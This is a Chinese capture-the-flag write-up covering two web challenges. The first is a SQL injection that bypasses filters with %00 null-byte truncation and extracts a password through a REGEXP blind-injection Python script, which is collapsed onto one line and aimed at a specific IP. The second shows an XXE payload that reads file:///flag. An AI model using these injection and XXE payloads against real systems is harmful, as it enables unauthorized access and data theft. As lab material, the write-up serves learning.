sqli用正则表达式注入,%00截断绕过

题解
首先先fuzz一下,检测如下字符

这过滤的也太全了。
试了试不太行。找找看有没有其他线索
打开/robots.txt,里面有提示/hint.txt


%00发包要点
php<5.3.4,且magic_quotes_gpc==off可进行%00截断
~~%00~~不能在浏览器中打,会被编码成%2500
在很老的burpsuite版本中需要转到hex改00

刚试了下2020.6版可以直接打%00
2021版直接就把hex栏给取消了,不过可以直接打。python中传~~%00~~不能直接传,需要~~parse.unquote('%00')~~
2021年11月18日18:07:49
测试python3.9中无论是GET/POST,放URL里,还是放params/data里,都可以正常打。
浏览器中GET可以直接打,hackbar里POST会提示URI malformed
postman里直接打%2500就好
在此测试下%00截断,payload:
none
username=\&passwd=||1;%00
若是成功会有个302重定向,说明可行

利用regexp查值

默认不区分大小写。
先快速跑一下,看看回显

然后跑脚本吧
python
import requestsfrom urllib import parseimport stringurl = 'http://116.62.127.33:10000/'num = 0result = ''string = string.ascii_lowercase + string.digits + '_'for i in range(1, 60):if num == 1:breakfor j in string:data = {"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result + j),parse.unquote('%00'))}print(result + j)res = requests.post(url=url, data=data)if 'welcome' in res.text:result += jbreakif j == '_' and 'welcome' not in res.text:break
跑出
none
you_will_never_know7788990
Fake XML cookbook
xxe学习
客户端向服务器发送XML数据
我们抓包可以控制整个数据,添加一个恶意代码,进行攻击
抓包看到 username和password都是xml格式
我们来构造payload来试着读取flag
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM “file:///flag”>
]>
从而读取flag文件
